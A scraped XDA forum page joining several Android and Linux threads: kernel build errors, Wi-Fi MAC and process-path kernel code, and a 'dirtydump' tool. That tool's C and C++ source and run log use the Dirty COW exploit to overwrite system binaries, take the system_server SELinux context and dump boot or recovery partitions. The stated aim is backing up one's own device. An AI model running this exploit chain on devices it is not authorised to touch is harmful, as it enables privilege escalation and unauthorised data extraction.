and i have 1 problem if u have sol. than plz reply.. in my sgsa "wap setting" can not be installed which is sent by service providers (i.e bsnllive , docomo divein etc) it gives me unable to read
any one having this type of problem???/
great guide..btw i have a problem.. i have installed everything and when i perform a task the terminal want the password which i cant seem to be able to input! i cant do anything because of that! any workaround?
Brainiac.shri said:
great guide..btw i have a problem.. i have installed everything and when i perform a task the terminal want the password which i cant seem to be able to input! i cant do anything because of that! any workaround?
Click to expand...
Click to collapse
Since you don't state it clearly, i guess that you are talking about the commands in Ubuntu!
When you enter the password in the Ubuntu terminal, it isn't showed for security reasons.
So, just type the password and press enter!
Sent from my GT-I9070 using xda premium
Shaaan said:
Since you don't state it clearly, i guess that you are talking about the commands in Ubuntu!
When you enter the password in the Ubuntu terminal, it isn't showed for security reasons.
So, just type the password and press enter!
Sent from my GT-I9070 using xda premium
Click to expand...
Click to collapse
nope! doesnt work! but still logged into ubuntu and tried again and still not working. i remember the password(i just used it to log into the OS) just do not see the problem!
EDIT: doesnt work for certain commands! i tried rooting it just for fun and there the password was accepted just fine!
Frankly speaking after spending a lot of time on XDA, I feel like Developing something for our dear phone! So like which is easier, safer and/or quicker to develop.. A Kernel or a Custom ROM..?
If Kernel.. how can I do that? Download stock kernel and modify it?
If ROM.. where to start? Download the firmware and start modifying it?
PS: I'm not trolling... I'm serious
Sami Kabir said:
Frankly speaking after spending a lot of time on XDA, I feel like Developing something for our dear phone! So like which is easier, safer and/or quicker to develop.. A Kernel or a Custom ROM..?
If Kernel.. how can I do that? Download stock kernel and modify it?
If ROM.. where to start? Download the firmware and start modifying it?
PS: I'm not trolling... I'm serious
Click to expand...
Click to collapse
Step by step ROM making guide. Heat up your PC chair by reading!!! But, as I know you - you will ask for explanation.
http://forum.xda-developers.com/showthread.php?t=1801690
Related
Just wanted to share some knowledge here.
The main code responsable for the random MAC wifi adress with the newer BCMDHD wifi driver is mainly due to a small peace of code :
eeprom-wifi-mac.c in /tf101-kernel_whatever/arch/arm/mach-tegra.
code snippet:
Code:
#include <linux/i2c/at24.h>
#include <linux/sysfs.h>
#include <linux/device.h>
#include <linux/slab.h>
#define EEPROM_LEN 32
static char wifi_mac[] = "ff:ff:ff:ff:ff:ff";
static ssize_t show_addr_sysfs(struct device *dev,
struct device_attribute *attr, char *buf)
{
return sprintf(buf, "%s\n", wifi_mac);
}
DEVICE_ATTR(addr, 0444, show_addr_sysfs, NULL);
static struct attribute *wifi_mac_addr_attributes[] = {
&dev_attr_addr.attr,
NULL
};
static const struct attribute_group wifi_mac_addr_group = {
.attrs = wifi_mac_addr_attributes,
};
int create_sys_fs(void)
{
int ret = -1;
static struct kobject *reg_kobj;
reg_kobj = kobject_create_and_add("wifi_mac_addr", kernel_kobj);
if (!reg_kobj)
return -ENOMEM;
ret = sysfs_create_group(reg_kobj, &wifi_mac_addr_group);
if (ret < 0) {
kobject_put(reg_kobj);
return ret;
}
return ret;
}
void get_mac_addr(struct memory_accessor *mem_acc, void *context)
{
char *mac_addr;
int ret = 0;
off_t offset = (off_t)context;
mac_addr = kzalloc(sizeof(char)*EEPROM_LEN, GFP_ATOMIC);
if (!mac_addr) {
pr_err("no memory to allocate");
return;
}
/* Read MAC addr from EEPROM */
ret = mem_acc->read(mem_acc, mac_addr, offset, EEPROM_LEN);
if (ret == EEPROM_LEN) {
pr_err("Read MAC addr from EEPROM: %pM\n", (mac_addr+19));
sprintf(wifi_mac, "%02x:%02x:%02x:%02x:%02x:%02x",
*(mac_addr+19), *(mac_addr+20), *(mac_addr+21),
*(mac_addr+22), *(mac_addr+23), *(mac_addr+24));
} else
pr_err("Error reading MAC addr from EEPROM\n");
create_sys_fs();
}
Now we need a code monkey to do some dirty work and give us a new algorithm we can apply to the kernel for reading out / creating the MAC adress in another way. Maybe create a new sysfs interface to be able to change the MAC adress to whatever we like in userspace mode, e.g. per app.
Remember: This is a dev thread. Please do only post development-related stuff in here. Any help is appreciated. If you just want to say 'thanks', well, you know where the corresponding button is, don't ya ?
I don't understand what positive use a random MAC could be?
Sent from my Transformer TF101 using xda app-developers app
Probably the easiest way would be to strace wifimacwriter on ICS. It must call something in the kernel to get the MAC, or run some ioctls. Anyway, it's not self contained, so if we figure out how it works, we can write it ourselves, in kernel space.
I can retrieve the path of ./busybox cat or such process which is not terminated quickly.
However I cannot gather the path of processes which ended up quickly ./busybox ps
What is the easiest way to get all of the processes executable path in kernel level?
Code:
rcu_read_lock();
struct task_struct *task;
struct list_head *list;``
struct mm_struct *mm;
struct file *exe_file;
char *pathname,*path;
pathname = kmalloc(PATH_MAX, GFP_ATOMIC);
task = list_entry(list, struct task_struct, sibling);
for_each_process(task) {
printk("/----------------------------------/\n");
mm = get_task_mm(task);
if(mm != NULL) {
exe_file = get_mm_exe_file(mm);
path_get(&exe_file->f_path);
path = d_path(&mm->exe_file->f_path,pathname,PATH_MAX);
printk("CHILD %s[%d]->%s\n\n ", task->comm, task->pid ,path);
}
}
rcu_read_unlock();
I can retrieve the path of ./busybox cat or such process which is not terminated quickly.
However I cannot gather the path of processes which ended up quickly ./busybox ps
What is the easiest way to get all of the processes executable path in kernel level?
Code:
rcu_read_lock();
struct task_struct *task;
struct list_head *list;``
struct mm_struct *mm;
struct file *exe_file;
char *pathname,*path;
pathname = kmalloc(PATH_MAX, GFP_ATOMIC);
task = list_entry(list, struct task_struct, sibling);
for_each_process(task) {
printk("/----------------------------------/\n");
mm = get_task_mm(task);
if(mm != NULL) {
exe_file = get_mm_exe_file(mm);
path_get(&exe_file->f_path);
path = d_path(&mm->exe_file->f_path,pathname,PATH_MAX);
printk("CHILD %s[%d]->%s\n\n ", task->comm, task->pid ,path);
}
}
rcu_read_unlock();
So, I decided I want to put Kali-Linux on my samsung s3 neo device, and I succeeded after hard work and a lots of research... Now I had another problem, that my built-in chipset does not support aircrack-ng, so i decided to work around it, and use a wireless usb adapter.
what i did is modifying the kernel, to be able to support some of the wireless devices... the point where i got stuck is at compiling the new-made kernel... basically i followed the following guide:
PHP:
http://forum.xda-developers.com/showthread.php?t=2338179
and i got stuck at the final section of the compiling segment...
So here is my error.
arch/arm/crypto/sha512_neon_glue.c: In function 'sha512_neon_update':
arch/arm/crypto/sha512_neon_glue.c:144:3: warning: implicit declaration of function 'crypto_sha512_update' [-Wimplicit-function-declaration]
error, forbidden warning: sha512_neon_glue.c:144
scripts/Makefile.build:307: recipe for target 'arch/arm/crypto/sha512_neon_glue.o' failed
make[1]: *** [arch/arm/crypto/sha512_neon_glue.o] Error 1
Makefile:950: recipe for target 'arch/arm/crypto' failed
make: *** [arch/arm/crypto] Error 2
Click to expand...
Click to collapse
so, first of all I have a question, where exactly do i put "KCONFIG_CFLAGS += -w" in the code of the Makefile, and if it would solve the error? according to the guide it should ignore errors that the compiler makes.
2nd question right under the code lines.
Makefile:
PHP:
https://github.com/CyanogenMod/android_kernel_samsung_s3ve3g/blob/cm-12.1/Makefile
Couldn't post it here, too long.
Second question, in case the first solution would not work, if i wanted to edit the problematic file, so it would see the declared functions, how do i do that?
NOTE: the error is in line 144
(will be marked with "------->")
Code:
*
* Glue code for the SHA512 Secure Hash Algorithm assembly implementation
* using NEON instructions.
*
* Copyright © 2014 Jussi Kivilinna <[email protected]>
*
* This file is based on sha512_ssse3_glue.c:
* Copyright (C) 2013 Intel Corporation
* Author: Tim Chen <[email protected]>
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the Free
* Software Foundation; either version 2 of the License, or (at your option)
* any later version.
*
*/
#include <crypto/internal/hash.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/mm.h>
#include <linux/cryptohash.h>
#include <linux/types.h>
#include <linux/string.h>
#include <crypto/sha.h>
#include <asm/byteorder.h>
#include <asm/simd.h>
#include <asm/neon.h>
static const u64 sha512_k[] = {
0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL,
0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,
0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL,
0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,
0xd807aa98a3030242ULL, 0x12835b0145706fbeULL,
0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,
0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL,
0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,
0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL,
0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,
0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL,
0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,
0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL,
0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,
0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL,
0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,
0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL,
0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,
0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL,
0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,
0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL,
0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,
0xd192e819d6ef5218ULL, 0xd69906245565a910ULL,
0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,
0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL,
0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,
0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL,
0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,
0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL,
0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,
0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL,
0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,
0xca273eceea26619cULL, 0xd186b8c721c0c207ULL,
0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,
0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL,
0x113f9804bef90daeULL, 0x1b710b35131c471bULL,
0x28db77f523047d84ULL, 0x32caab7b40c72493ULL,
0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,
0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL,
0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL
};
asmlinkage void sha512_transform_neon(u64 *digest, const void *data,
const u64 k[], unsigned int num_blks);
static int sha512_neon_init(struct shash_desc *desc)
{
struct sha512_state *sctx = shash_desc_ctx(desc);
sctx->state[0] = SHA512_H0;
sctx->state[1] = SHA512_H1;
sctx->state[2] = SHA512_H2;
sctx->state[3] = SHA512_H3;
sctx->state[4] = SHA512_H4;
sctx->state[5] = SHA512_H5;
sctx->state[6] = SHA512_H6;
sctx->state[7] = SHA512_H7;
sctx->count[0] = sctx->count[1] = 0;
return 0;
}
static int __sha512_neon_update(struct shash_desc *desc, const u8 *data,
unsigned int len, unsigned int partial)
{
struct sha512_state *sctx = shash_desc_ctx(desc);
unsigned int done = 0;
sctx->count[0] += len;
if (sctx->count[0] < len)
sctx->count[1]++;
if (partial) {
done = SHA512_BLOCK_SIZE - partial;
memcpy(sctx->buf + partial, data, done);
sha512_transform_neon(sctx->state, sctx->buf, sha512_k, 1);
}
if (len - done >= SHA512_BLOCK_SIZE) {
const unsigned int rounds = (len - done) / SHA512_BLOCK_SIZE;
sha512_transform_neon(sctx->state, data + done, sha512_k,
rounds);
done += rounds * SHA512_BLOCK_SIZE;
}
memcpy(sctx->buf, data + done, len - done);
return 0;
}
static int sha512_neon_update(struct shash_desc *desc, const u8 *data,
unsigned int len)
{
struct sha512_state *sctx = shash_desc_ctx(desc);
unsigned int partial = sctx->count[0] % SHA512_BLOCK_SIZE;
int res;
/* Handle the fast case right here */
if (partial + len < SHA512_BLOCK_SIZE) {
sctx->count[0] += len;
if (sctx->count[0] < len)
sctx->count[1]++;
memcpy(sctx->buf + partial, data, len);
return 0;
}
if (!may_use_simd()) {
------------> res = crypto_sha512_update(desc, data, len);
} else {
kernel_neon_begin();
res = __sha512_neon_update(desc, data, len, partial);
kernel_neon_end();
}
return res;
}
/* Add padding and return the message digest. */
static int sha512_neon_final(struct shash_desc *desc, u8 *out)
{
struct sha512_state *sctx = shash_desc_ctx(desc);
unsigned int i, index, padlen;
__be64 *dst = (__be64 *)out;
__be64 bits[2];
static const u8 padding[SHA512_BLOCK_SIZE] = { 0x80, };
/* save number of bits */
bits[1] = cpu_to_be64(sctx->count[0] << 3);
bits[0] = cpu_to_be64(sctx->count[1] << 3 | sctx->count[0] >> 61);
/* Pad out to 112 mod 128 and append length */
index = sctx->count[0] & 0x7f;
padlen = (index < 112) ? (112 - index) : ((128+112) - index);
if (!may_use_simd()) {
crypto_sha512_update(desc, padding, padlen);
crypto_sha512_update(desc, (const u8 *)&bits, sizeof(bits));
} else {
kernel_neon_begin();
/* We need to fill a whole block for __sha512_neon_update() */
if (padlen <= 112) {
sctx->count[0] += padlen;
if (sctx->count[0] < padlen)
sctx->count[1]++;
memcpy(sctx->buf + index, padding, padlen);
} else {
__sha512_neon_update(desc, padding, padlen, index);
}
__sha512_neon_update(desc, (const u8 *)&bits,
sizeof(bits), 112);
kernel_neon_end();
}
/* Store state in digest */
for (i = 0; i < 8; i++)
dst[i] = cpu_to_be64(sctx->state[i]);
/* Wipe context */
memset(sctx, 0, sizeof(*sctx));
return 0;
}
static int sha512_neon_export(struct shash_desc *desc, void *out)
{
struct sha512_state *sctx = shash_desc_ctx(desc);
memcpy(out, sctx, sizeof(*sctx));
return 0;
}
static int sha512_neon_import(struct shash_desc *desc, const void *in)
{
struct sha512_state *sctx = shash_desc_ctx(desc);
memcpy(sctx, in, sizeof(*sctx));
return 0;
}
static int sha384_neon_init(struct shash_desc *desc)
{
struct sha512_state *sctx = shash_desc_ctx(desc);
sctx->state[0] = SHA384_H0;
sctx->state[1] = SHA384_H1;
sctx->state[2] = SHA384_H2;
sctx->state[3] = SHA384_H3;
sctx->state[4] = SHA384_H4;
sctx->state[5] = SHA384_H5;
sctx->state[6] = SHA384_H6;
sctx->state[7] = SHA384_H7;
sctx->count[0] = sctx->count[1] = 0;
return 0;
}
static int sha384_neon_final(struct shash_desc *desc, u8 *hash)
{
u8 D[SHA512_DIGEST_SIZE];
sha512_neon_final(desc, D);
memcpy(hash, D, SHA384_DIGEST_SIZE);
memset(D, 0, SHA512_DIGEST_SIZE);
return 0;
}
static struct shash_alg algs[] = { {
.digestsize = SHA512_DIGEST_SIZE,
.init = sha512_neon_init,
.update = sha512_neon_update,
.final = sha512_neon_final,
.export = sha512_neon_export,
.import = sha512_neon_import,
.descsize = sizeof(struct sha512_state),
.statesize = sizeof(struct sha512_state),
.base = {
.cra_name = "sha512",
.cra_driver_name = "sha512-neon",
.cra_priority = 250,
.cra_flags = CRYPTO_ALG_TYPE_SHASH,
.cra_blocksize = SHA512_BLOCK_SIZE,
.cra_module = THIS_MODULE,
}
}, {
.digestsize = SHA384_DIGEST_SIZE,
.init = sha384_neon_init,
.update = sha512_neon_update,
.final = sha384_neon_final,
.export = sha512_neon_export,
.import = sha512_neon_import,
.descsize = sizeof(struct sha512_state),
.statesize = sizeof(struct sha512_state),
.base = {
.cra_name = "sha384",
.cra_driver_name = "sha384-neon",
.cra_priority = 250,
.cra_flags = CRYPTO_ALG_TYPE_SHASH,
.cra_blocksize = SHA384_BLOCK_SIZE,
.cra_module = THIS_MODULE,
}
} };
static int __init sha512_neon_mod_init(void)
{
if (!cpu_has_neon())
return -ENODEV;
return crypto_register_shashes(algs, ARRAY_SIZE(algs));
}
static void __exit sha512_neon_mod_fini(void)
{
crypto_unregister_shashes(algs, ARRAY_SIZE(algs));
}
module_init(sha512_neon_mod_init);
module_exit(sha512_neon_mod_fini);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("SHA512 Secure Hash Algorithm, NEON accelerated");
MODULE_ALIAS("sha512");
MODULE_ALIAS("sha384");
Please help me I will be very thankful.
(NOTE: I am not a developer, and I wish I was, or at least i'm ought to be so please explain carefully your solutions since I'm not familiar with any coding language, and for me, reaching this stage of the kernel compiling was time consuming and my only tools were my logic and the internet). thanks in advance for any help i can get i wish it will work so i can move on in learning kali better!
Hi,
A little tool or frontend that I've made and share to the community.
Intro
If you are like me :
Searching a way to backup your device, try some tools like SP Flash Tool, or MTK Droid Tools (for generating a Scatter File).
I have found a lot of thread, but I've allways got a dead end or a risk to brick the device (Never take a risk to brick your device if no stock rom available or backup).
A few days ago, i've found this thread : https://forum.xda-developers.com/v20/development/h918-recowvery-unlock-v20-root-shell-t3490594
It's not for my device, it's maybe not for your device, but help a lot to do our need. This exploit work for everyone and what to do the little tools below.
What's the change ?
Instead of that does jcadduono (a big thanks to him), via applypatch, it don't patch the recovery partition to run an Android in Permissive mode, my applypatch only open and read the boot or recovery partition and display all data to logging (binary converted to hex value).
Yes, I know, logging is not for that, it's realy hard-core, but it's the only way working. I've tried with socket, but SELinux in Enforced mode don't allow this.
You can see my recowvery-applypatch.c below :
Code:
#include <unistd.h>
#include <stdio.h>
#include <stdint.h>
#include <time.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <time.h>
#include <fcntl.h>
#include <sys/stat.h>
#define APP_NAME "recowvery"
#define HOST_NAME "applypatch"
#ifdef DEBUG
#include <android/log.h>
#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, APP_NAME, __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); }
#define LOGE(...) { __android_log_print(ANDROID_LOG_ERROR, APP_NAME, __VA_ARGS__); fprintf(stderr, __VA_ARGS__); fprintf(stderr, "\n"); }
#else
#define LOGV(...) { printf(__VA_ARGS__); printf("\n"); }
#define LOGE(...) { fprintf(stderr, __VA_ARGS__); fprintf(stderr, "\n"); }
#endif
#define SEP LOGV("------------")
#include "bootimg.h"
/* Time delay in microsecond for next loop (1000 = 1ms)
* 250 is good for every PC
* (you can try with 0 to boost the process, but you can have an <unexpected EOF>)
*/
#define DELAY_T 250
void delay(long t)
{
if (t == 0)
return;
long timens = t * 1000;
nanosleep((const struct timespec[]){{0, timens}}, NULL);
}
/*
* Search in *str the word *word.
* &rslt => Result, a sort of substr version of *str from 0 to the last char of the searched *word if found.
* &len => Length of &rslt.
*
* Return 0 if found or -1 if not found.
* (A substr like)
*/
int findStr(char *str, char *word, char** rslt, int* len)
{
int i = 0;
int j = 0;
int allmatch = 0;
char *temp;
*len = 0;
for (i = 0; i < (int)strlen(str); i++)
{
if (str[i] == word[0])
{
allmatch = 0;
for (j = 0; j < (int)strlen(word); j++)
{
if (str[i + j] != word[j])
{
allmatch = 1;
break;
}
}
if (allmatch == 0)
{
*len = i + strlen(word);
break;
}
}
}
if (*len != 0)
{
temp = malloc(*len);
for (i = 0; i < *len; i++)
temp[i] = str[i];
*rslt = temp;
return 0;
}
return -1;
}
/*
* run "mount" and find "/by-name/" from result.
* if matched, fill path var
* return 0 if success else -1
*/
int getBlockDevice(char** path)
{
FILE* cmd;
char br[512];
char* search = "/by-name/";
char* tmp;
int slength = 0;
cmd = popen("mount 2>&1", "r");
if (cmd)
{
/* Read result and try to find the first corresponding mount point */
while(fgets(br, sizeof br, cmd) != NULL)
{
/* If found, log the result */
if (findStr(br, search, &tmp, &slength) != -1)
{
/* Append "boot" (your can replace this by "recovery", "system") at the end */
sprintf(*path, "%srecovery", tmp);
break;
}
}
fclose(cmd);
}
else
{
LOGE("ERROR Getting filesystem mountpoint");
}
if (slength > 0)
return 0;
else
return -1;
}
int main(int argc, char **argv)
{
int ret = 0;
int i = 0;
LOGV("Welcome to %s! (%s)", APP_NAME, HOST_NAME);
char *blockDev = malloc(256);
if (getBlockDevice(&blockDev) == -1)
{
LOGE("ERROR : Could not find FileSystem mount point.");
ret = errno;
goto oops;
}
else
{
LOGV("BLOCK_DEVICE : %s", blockDev);
SEP;
}
/*
* Sometimes <applypatch> run before <dirtycow> finish its process that cause our device not ready to start <adb logcat -s recowvery>
* and we have to wait more than 3min...
* A little sleep of 30 sec ensure that our device is ready.
*/
LOGV("The process start in 30s");
sleep(30);
byte rb[32];
char *content = malloc(256);
FILE *fp;
size_t nread;
fp = fopen(blockDev, "r");
if (fp) {
LOGV("*** DUMP START ***");
while ((nread = fread(rb, 1, sizeof rb, fp)) > 0)
{
sprintf(content, "HEXDUMP = [");
for (i = 0; i < (int)nread; i++)
{
if (i == 0)
sprintf(content, "%s%.2x", content, rb[i]);
else
sprintf(content, "%s,%.2x", content, rb[i]);
}
sprintf(content, "%s];", content);
LOGV("%s", content);
/* sleep to prevent any unexpected EOF with with pipe stream */
delay(DELAY_T);
}
if (ferror(fp)) {
ret = errno;
LOGE("*** DUMP ERROR ***");
LOGE("Error while reading the file...");
}
LOGV("*** DUMP END ***");
fclose(fp);
}
else
{
LOGV("Can't read the file...");
ret = errno;
goto oops;
}
return 0;
oops:
LOGE("*** DUMP ERROR ***");
LOGE("Error %d: %s", ret, strerror(ret));
LOGE("Exiting...");
return ret;
}
Don't laugh please, I am very new in C
Ok, but about the tool ?
The tool is a frontend and easy to use, it copy exploit files for you, run exploit, read logging from adb and do the revert of applypatch (Convert hex to binary and write them to the image file) and finaly reboot your device when it's finish.
An example here :
Code:
~/Documents/dirtydump/bin/Debug$ ./dirtydump boot
***************
**** Init *****
***************
adb push ./bin/dirtycow /data/local/tmp
159 KB/s (9984 bytes in 0.061s)
adb push ./bin/recowvery-applypatch_boot /data/local/tmp
234 KB/s (10200 bytes in 0.042s)
adb push ./bin/recowvery-applypatch_recovery /data/local/tmp
238 KB/s (10200 bytes in 0.041s)
adb push ./bin/recowvery-app_process64 /data/local/tmp
240 KB/s (10200 bytes in 0.041s)
adb push ./bin/recowvery-app_process32 /data/local/tmp
411 KB/s (17992 bytes in 0.042s)
adb shell chmod 0777 /data/local/tmp/dirtycow
adb shell chmod 0777 /data/local/tmp/recowvery-applypatch_boot
adb shell chmod 0777 /data/local/tmp/recowvery-applypatch_recovery
adb shell chmod 0777 /data/local/tmp/recowvery-app_process64
adb shell chmod 0777 /data/local/tmp/recowvery-app_process32
* Android x64 version detected.
**********************
**** Run Exploit *****
**********************
adb shell /data/local/tmp/dirtycow /system/bin/applypatch /data/local/tmp/recowvery-applypatch_boot
warning: new file size (10200) and file old size (74712) differ
size 74712
[*] mmap 0x7faa6a7000
[*] exploit (patch)
[*] currently 0x7faa6a7000=10102464c457f
[*] madvise = 0x7faa6a7000 74712
[*] madvise = 0 1048576
[*] /proc/self/mem 1031798784 1048576
[*] exploited 0x7faa6a7000=10102464c457f
adb shell /data/local/tmp/dirtycow /system/bin/app_process64 /data/local/tmp/recowvery-app_process64
warning: new file size (10200) and file old size (22456) differ
size 22456
[*] mmap 0x7f8f303000
[*] exploit (patch)
[*] currently 0x7f8f303000=10102464c457f
[*] madvise = 0x7f8f303000 22456
[*] madvise = 0 1048576
[*] /proc/self/mem 2071986176 1048576
[*] exploited 0x7f8f303000=10102464c457f
*********************************
**** adb logcat -s recowvery ****
*********************************
--------- beginning of main
--------- beginning of system
--------- beginning of crash
01-24 15:40:37.206 5266 5266 I recowvery: Welcome to recowvery! (app_process64)
01-24 15:40:37.206 5266 5266 I recowvery: ------------
01-24 15:40:37.206 5266 5266 I recowvery: Current selinux context: u:r:zygote:s0
01-24 15:40:37.206 5266 5266 I recowvery: Set context to 'u:r:system_server:s0'
01-24 15:40:37.206 5266 5266 I recowvery: Current security context: u:r:system_server:s0
01-24 15:40:37.206 5266 5266 I recowvery: Setting property 'ctl.start' to 'flash_recovery'
01-24 15:40:37.211 5266 5266 I recowvery: ------------
01-24 15:40:37.211 5266 5266 I recowvery: Recovery flash script should have started!
01-24 15:40:37.211 5266 5266 I recowvery: Run on your PC or device to see progress: adb logcat -s recowvery
01-24 15:40:37.211 5266 5266 I recowvery: Waiting 3 minutes to try again (in case it didn't start or you forgot to dirtycow applypatch first)...
01-24 15:40:37.242 5269 5269 I recowvery: Welcome to recowvery! (applypatch)
01-24 15:40:37.272 5269 5269 I recowvery: BLOCK_DEVICE : /dev/block/platform/mtk-msdc.0/11230000.msdc0/by-name/boot
01-24 15:40:37.272 5269 5269 I recowvery: ------------
01-24 15:40:37.272 5269 5269 I recowvery: The process start in 30s
Start writing to file...
Block read : 524288 (Size : 16777216)
Finish
Image file saved here :
./boot.img
Rebooting your device...
************************
**** Reboot Device *****
************************
How to use ?
Extract all files from archive attached below in a directory of our choice.
./dirtydump boot : dump boot partition and store it to ./boot.img
./dirtydump recovery : dump recovery partition and store it to ./recovery.img
When all done, you have all to make your Custom Recovery for your device.
Requirements
<dirtycow> capable device.
Working adb (adb devices to check)
Linux distribution.
Source code
Code:
#include <iostream>
#include <stdio.h>
#include <regex>
using namespace std;
#define BOOT 0
#define RECOVERY 1
#define ANDROID_64 "64"
#define ANDROID_32 "32"
#ifdef __linux__
#define DIRECTORY_SEPARATOR "/"
#elif __APPLE__
#define DIRECTORY_SEPARATOR "/"
#else
#define DIRECTORY_SEPARATOR "\\"
#endif
typedef unsigned char byte;
static string appDirectory;
static string arch;
static FILE *fsout;
static bool startwrite = false;
static int ncrash = 0;
static int nBlock = 0;
static long currentSize = 0;
// Shorter regex is possible, but I prefer like that.
static regex rs("^.+I recowvery: (\\*\\*\\* DUMP START \\*\\*\\*)\\s+"); // Used to start writting binary file
static regex rl("^.+I recowvery: HEXDUMP = \\[([^\\]]+)\\];\\s+"); // Used to match all data block, and populate < datalist >
static regex rf("^.+I recowvery: (\\*\\*\\* DUMP END \\*\\*\\*)\\s+"); // Used to end writting, and exit infinit loop
static regex re("^.+I recowvery: (\\*\\*\\* DUMP ERROR \\*\\*\\*)\\s+"); // Used to intercept error from < recowvery-applypatch >
static regex radbe("^error:(.+)\\s+"); // ADB cmd error
static regex rarch("^.+(aarch64).*\\s+"); // Get arch from <uname -a>
/**
* Run command
* return : 0 if success else -1 if error
**/
int runcmd(string cmd)
{
char rslt[256];
int cmdv = 0;
FILE *fc = popen(cmd.c_str(), "r");
/* Redirect stderr to stdout */
cmd.append(" 2>&1");
// To remove the \n or \r\n at the end.
regex rcmdline("^(.+)\\s+");
if (fc)
{
while (fgets(rslt, sizeof rslt, fc) != NULL)
{
if (regex_match(string(rslt), rcmdline))
cout << regex_replace(string(rslt), rcmdline, "$1") << endl;
// If error matched, return -1
if (regex_match(rslt, radbe))
{
cmdv = -1;
break;
}
}
cout << endl;
fclose(fc);
}
else
{
cerr << "Error running '" << string(cmd) << "'" << endl;
return -1;
}
return cmdv;
}
/**
* Used to split string
* s : string to split (in)
* delim : used char for split (in)
* elems : string array result (out)
**/
void split(const string &s, char delim, vector<string> &elems) {
stringstream ss;
ss.str(s);
string item;
while (getline(ss, item, delim)) {
elems.push_back(item);
}
}
/**
* Used to split string
* s : string to split (in)
* delim : char delimeter (in)
* return : vector string
**/
vector<string> split(const string &s, char delim) {
vector<string> elems;
split(s, delim, elems);
return elems;
}
/** Convert hex string to byte array **/
void string_to_bytearray(std::string str, unsigned char* &array, int& size)
{
int length = str.length();
// make sure the input string has an even digit numbers
if(length%2 == 1)
{
str = "0" + str;
length++;
}
// allocate memory for the output array
array = new unsigned char[length/2];
size = length/2;
std::stringstream sstr(str);
for(int i=0; i < size; i++)
{
char ch1, ch2;
sstr >> ch1 >> ch2;
int dig1, dig2;
if(isdigit(ch1)) dig1 = ch1 - '0';
else if(ch1>='A' && ch1<='F') dig1 = ch1 - 'A' + 10;
else if(ch1>='a' && ch1<='f') dig1 = ch1 - 'a' + 10;
if(isdigit(ch2)) dig2 = ch2 - '0';
else if(ch2>='A' && ch2<='F') dig2 = ch2 - 'A' + 10;
else if(ch2>='a' && ch2<='f') dig2 = ch2 - 'a' + 10;
array[i] = dig1*16 + dig2;
}
}
/**
* Get architecture type
* Run <adb shell uname -a> and find the word : aarch64
* If found return <ANDROID_64> else <ANDROID_32>
**/
string getArchType()
{
char rslt[256];
string val;
FILE *fc = popen("adb shell uname -a", "r");
// To remove the \n or \r\n at the end.
if (fc)
{
while (fgets(rslt, sizeof rslt, fc) != NULL)
{
if (regex_match(string(rslt), rarch))
{
cout << "* Android x64 version detected." << endl;
val = string(ANDROID_64);
}
else
{
cout << "* Android x32 version detected." << endl;
val = string(ANDROID_32);
}
}
cout << endl;
fclose(fc);
}
else
{
cerr << "Error running 'adb shell uname -a'" << endl;
}
return val;
}
/**
* Display help
**/
void help()
{
cout << "dirtydump boot | recovery" << endl;
cout << "Usage :" << endl;
cout << "\tdirtydump boot : Dump device boot partition and save it to boot.img." << endl;
cout << "\tdirtydump recovery : Dump device recovery partition and save it to recovery.img." << endl << endl;
cout << "Information :" << endl;
cout << "\tThis app use the same exploit explained here : " << endl;
cout << "\thttps://github.com/jcadduono/android_external_dirtycow" << endl;
cout << "\tThe only difference is by the <applypatch>, instead of patching," << endl;
cout << "\tit read your boot / recovery partition." << endl;
cout << "\tConvert all data to hex value, and display it." << endl;
cout << "\tDuring the process, the app read all data through" <<endl;
cout << "\t<adb logcat -s recowvery> and do the reverse," << endl;
cout << "\tconvert all hex value to binary, and write it to a file." << endl;
cout << "\tBecause your device is like crashing, this app reboot" << endl;
cout << "\tautomaticaly when the process is finished." << endl;
cout << endl;
}
/**
* Initialize process.
* Push required files to your device and apply a chmod to them and exit.
**/
int init()
{
cout << "***************" << endl;
cout << "**** Init *****" << endl;
cout << "***************" << endl << endl;
string files[] = {"dirtycow",
"recowvery-applypatch_boot",
"recowvery-applypatch_recovery",
"recowvery-app_process64",
